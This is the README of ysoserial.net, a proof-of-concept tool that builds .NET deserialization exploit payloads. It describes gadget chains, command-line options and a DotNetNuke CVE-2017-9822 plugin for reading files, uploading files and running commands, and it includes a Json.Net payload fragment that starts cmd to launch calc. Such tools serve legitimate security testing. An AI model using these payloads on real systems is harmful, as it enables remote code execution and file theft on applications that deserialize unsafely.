A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Usage

$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Available formatters:
        ActivitySurrogateSelectorFromFile (ActivitySurrogateSelector gadget by James Forshaw. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'.)

Usage: ysoserial.exe [options]
Options:
  -p, --plugin=VALUE         the plugin to be used
  -o, --output=VALUE         the output format (raw|base64).
  -g, --gadget=VALUE         the gadget chain.
  -f, --formatter=VALUE      the formatter.
  -c, --command=VALUE        the command to be executed.
  -s, --stdin                the command to be executed will be read from standard input.
  -t, --test                 whether to run payload locally. Default: false
  -h, --help                 show this message and exit

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use -p <plugin name> followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

For more help on plugin options use -h along with -p <plugin name>. Eg:

$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

  -m, --mode=VALUE           the payload mode: read_file, upload_file, run_command.
  -c, --command=VALUE        the command to be executed in run_command mode.
  -u, --url=VALUE            the url to fetch the file from in write_file mode.
  -f, --file=VALUE           the file to read in read_file mode or the file to write to in write_file_mode.

Examples

    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']

v2 Branch

v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by irsdl. Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.
